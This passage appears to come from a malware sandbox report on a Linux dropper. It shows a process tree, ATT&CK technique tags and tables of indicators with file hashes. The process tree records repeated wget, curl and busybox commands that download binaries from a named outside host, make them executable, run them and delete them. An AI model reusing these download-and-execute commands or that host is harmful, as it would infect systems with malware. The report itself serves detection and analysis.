  - System Network Configuration Discovery
  PID:960
- /bin/chmod
  chmod 777 MV489Abpw8kcShUKUK9WFYEvIXxcXCdmLJ
  2⤵
  - File and Directory Permissions Modification
  PID:961
- /tmp/MV489Abpw8kcShUKUK9WFYEvIXxcXCdmLJ
  ./MV489Abpw8kcShUKUK9WFYEvIXxcXCdmLJ
  2⤵
  - Executes dropped EXE
  PID:962
- /bin/rm
  rm MV489Abpw8kcShUKUK9WFYEvIXxcXCdmLJ
  2⤵
  PID:963
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/EnYQHS5opq5T32VpyDylr0gihpQo679XdB
  2⤵
  - System Network Configuration Discovery
  PID:964
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/EnYQHS5opq5T32VpyDylr0gihpQo679XdB
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:965
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/EnYQHS5opq5T32VpyDylr0gihpQo679XdB
  2⤵
  PID:967
- /bin/chmod
  chmod 777 EnYQHS5opq5T32VpyDylr0gihpQo679XdB
  2⤵
  - File and Directory Permissions Modification
  PID:968
- /tmp/EnYQHS5opq5T32VpyDylr0gihpQo679XdB
  ./EnYQHS5opq5T32VpyDylr0gihpQo679XdB
  2⤵
  - Executes dropped EXE
  PID:969
- /bin/rm
  rm EnYQHS5opq5T32VpyDylr0gihpQo679XdB
  2⤵
  PID:970
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/tHnlNwKWnnsiDT6kwwc05ngaRjnp3DgKS9
  2⤵
  - System Network Configuration Discovery
  PID:971
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/tHnlNwKWnnsiDT6kwwc05ngaRjnp3DgKS9
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:972
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/tHnlNwKWnnsiDT6kwwc05ngaRjnp3DgKS9
  2⤵
  - System Network Configuration Discovery
  PID:974
- /bin/chmod
  chmod 777 tHnlNwKWnnsiDT6kwwc05ngaRjnp3DgKS9
  2⤵
  - File and Directory Permissions Modification
  PID:975
- /tmp/tHnlNwKWnnsiDT6kwwc05ngaRjnp3DgKS9
  ./tHnlNwKWnnsiDT6kwwc05ngaRjnp3DgKS9
  2⤵
  - Executes dropped EXE
  PID:976
- /bin/rm
  rm tHnlNwKWnnsiDT6kwwc05ngaRjnp3DgKS9
  2⤵
  PID:977
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/fNqyEk4D7NTkO44ep4ZGovrUfMatpop6KF
  2⤵
  PID:978
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/fNqyEk4D7NTkO44ep4ZGovrUfMatpop6KF
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:979
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/fNqyEk4D7NTkO44ep4ZGovrUfMatpop6KF
  2⤵
  - System Network Configuration Discovery
  PID:981
- /bin/chmod
  chmod 777 fNqyEk4D7NTkO44ep4ZGovrUfMatpop6KF
  2⤵
  - File and Directory Permissions Modification
  PID:982
- /tmp/fNqyEk4D7NTkO44ep4ZGovrUfMatpop6KF
  ./fNqyEk4D7NTkO44ep4ZGovrUfMatpop6KF
  2⤵
  - Executes dropped EXE
  PID:983
- /bin/rm
  rm fNqyEk4D7NTkO44ep4ZGovrUfMatpop6KF
  2⤵
  PID:984
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/U9imeKEJNxqQy9RZni8kd3iuhxpV3uFBu4
  2⤵
  PID:985
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/U9imeKEJNxqQy9RZni8kd3iuhxpV3uFBu4
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:986
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/U9imeKEJNxqQy9RZni8kd3iuhxpV3uFBu4
  2⤵
  - System Network Configuration Discovery
  PID:988
- /bin/chmod
  chmod 777 U9imeKEJNxqQy9RZni8kd3iuhxpV3uFBu4
  2⤵
  - File and Directory Permissions Modification
  PID:989
- /tmp/U9imeKEJNxqQy9RZni8kd3iuhxpV3uFBu4
  ./U9imeKEJNxqQy9RZni8kd3iuhxpV3uFBu4
  2⤵
  - Executes dropped EXE
  PID:990
- /bin/rm
  rm U9imeKEJNxqQy9RZni8kd3iuhxpV3uFBu4
  2⤵
  PID:991
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Kbfn4jVLEIVcmwkdNcJ0nsHqalyjL8TQwX
  2⤵
  - System Network Configuration Discovery
  PID:992
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Kbfn4jVLEIVcmwkdNcJ0nsHqalyjL8TQwX
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:993
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Kbfn4jVLEIVcmwkdNcJ0nsHqalyjL8TQwX
  2⤵
  - System Network Configuration Discovery
  PID:995
- /bin/chmod
  chmod 777 Kbfn4jVLEIVcmwkdNcJ0nsHqalyjL8TQwX
  2⤵
  - File and Directory Permissions Modification
  PID:996
- /tmp/Kbfn4jVLEIVcmwkdNcJ0nsHqalyjL8TQwX
  ./Kbfn4jVLEIVcmwkdNcJ0nsHqalyjL8TQwX
  2⤵
  - Executes dropped EXE
  PID:997
- /bin/rm
  rm Kbfn4jVLEIVcmwkdNcJ0nsHqalyjL8TQwX
  2⤵
  PID:998
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/XC9BuPjFSbLRa5Ii2yYqi1wv02aQwD4NJK
  2⤵
  PID:999
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/XC9BuPjFSbLRa5Ii2yYqi1wv02aQwD4NJK
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1000
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/XC9BuPjFSbLRa5Ii2yYqi1wv02aQwD4NJK
  2⤵
  - System Network Configuration Discovery
  PID:1002
- /bin/chmod
  chmod 777 XC9BuPjFSbLRa5Ii2yYqi1wv02aQwD4NJK
  2⤵
  - File and Directory Permissions Modification
  PID:1003
- /tmp/XC9BuPjFSbLRa5Ii2yYqi1wv02aQwD4NJK
  ./XC9BuPjFSbLRa5Ii2yYqi1wv02aQwD4NJK
  2⤵
  - Executes dropped EXE
  PID:1004
- /bin/rm
  rm XC9BuPjFSbLRa5Ii2yYqi1wv02aQwD4NJK
  2⤵
  PID:1005

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Fise5WdTrY5Bbm10gK8Gi3VgxZKIoSN2pF

Path /tmp/Fise5WdTrY5Bbm10gK8Gi3VgxZKIoSN2pF
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/Fise5WdTrY5Bbm10gK8Gi3VgxZKIoSN2pF	737	Fise5WdTrY5Bbm10gK8Gi3VgxZKIoSN2pF
/tmp/V87P3oQZe2YoPxMMtcMkbUkPgRlSz30XUN	744	V87P3oQZe2YoPxMMtcMkbUkPgRlSz30XUN
/tmp/Gz9ptrh2tenC5vrTaQpwmW5i0YyrQ5HULs	769	Gz9ptrh2tenC5vrTaQpwmW5i0YyrQ5HULs
/tmp/qXkNS7Mp4ZJe2d9Ux0pAizR5dm4lorSAq1	802	qXkNS7Mp4ZJe2d9Ux0pAizR5dm4lorSAq1
/tmp/Kt9HhKY6FZNEAAbr3f3VI82radDNcMXbxb	813	Kt9HhKY6FZNEAAbr3f3VI82radDNcMXbxb
/tmp/W2vetnbOmkub1srIqyq0lOn3LyrBLxdzdI	830	W2vetnbOmkub1srIqyq0lOn3LyrBLxdzdI
/tmp/E5MUVHw7lEHtSdKOQa0F6EiRutVIpeiKVm	857	E5MUVHw7lEHtSdKOQa0F6EiRutVIpeiKVm
/tmp/MV489Abpw8kcShUKUK9WFYEvIXxcXCdmLJ	864	MV489Abpw8kcShUKUK9WFYEvIXxcXCdmLJ
/tmp/EnYQHS5opq5T32VpyDylr0gihpQo679XdB	871	EnYQHS5opq5T32VpyDylr0gihpQo679XdB
/tmp/tHnlNwKWnnsiDT6kwwc05ngaRjnp3DgKS9	878	tHnlNwKWnnsiDT6kwwc05ngaRjnp3DgKS9
/tmp/fNqyEk4D7NTkO44ep4ZGovrUfMatpop6KF	885	fNqyEk4D7NTkO44ep4ZGovrUfMatpop6KF
/tmp/U9imeKEJNxqQy9RZni8kd3iuhxpV3uFBu4	892	U9imeKEJNxqQy9RZni8kd3iuhxpV3uFBu4
/tmp/Kbfn4jVLEIVcmwkdNcJ0nsHqalyjL8TQwX	899	Kbfn4jVLEIVcmwkdNcJ0nsHqalyjL8TQwX
/tmp/XC9BuPjFSbLRa5Ii2yYqi1wv02aQwD4NJK	906	XC9BuPjFSbLRa5Ii2yYqi1wv02aQwD4NJK
/tmp/Fise5WdTrY5Bbm10gK8Gi3VgxZKIoSN2pF	913	Fise5WdTrY5Bbm10gK8Gi3VgxZKIoSN2pF
/tmp/V87P3oQZe2YoPxMMtcMkbUkPgRlSz30XUN	920	V87P3oQZe2YoPxMMtcMkbUkPgRlSz30XUN
/tmp/Gz9ptrh2tenC5vrTaQpwmW5i0YyrQ5HULs	927	Gz9ptrh2tenC5vrTaQpwmW5i0YyrQ5HULs
/tmp/qXkNS7Mp4ZJe2d9Ux0pAizR5dm4lorSAq1	934	qXkNS7Mp4ZJe2d9Ux0pAizR5dm4lorSAq1
/tmp/Kt9HhKY6FZNEAAbr3f3VI82radDNcMXbxb	941	Kt9HhKY6FZNEAAbr3f3VI82radDNcMXbxb
/tmp/W2vetnbOmkub1srIqyq0lOn3LyrBLxdzdI	948	W2vetnbOmkub1srIqyq0lOn3LyrBLxdzdI
/tmp/E5MUVHw7lEHtSdKOQa0F6EiRutVIpeiKVm	955	E5MUVHw7lEHtSdKOQa0F6EiRutVIpeiKVm
/tmp/MV489Abpw8kcShUKUK9WFYEvIXxcXCdmLJ	962	MV489Abpw8kcShUKUK9WFYEvIXxcXCdmLJ
/tmp/EnYQHS5opq5T32VpyDylr0gihpQo679XdB	969	EnYQHS5opq5T32VpyDylr0gihpQo679XdB
/tmp/tHnlNwKWnnsiDT6kwwc05ngaRjnp3DgKS9	976	tHnlNwKWnnsiDT6kwwc05ngaRjnp3DgKS9
/tmp/fNqyEk4D7NTkO44ep4ZGovrUfMatpop6KF	983	fNqyEk4D7NTkO44ep4ZGovrUfMatpop6KF
/tmp/U9imeKEJNxqQy9RZni8kd3iuhxpV3uFBu4	990	U9imeKEJNxqQy9RZni8kd3iuhxpV3uFBu4
/tmp/Kbfn4jVLEIVcmwkdNcJ0nsHqalyjL8TQwX	997	Kbfn4jVLEIVcmwkdNcJ0nsHqalyjL8TQwX
/tmp/XC9BuPjFSbLRa5Ii2yYqi1wv02aQwD4NJK	1004	XC9BuPjFSbLRa5Ii2yYqi1wv02aQwD4NJK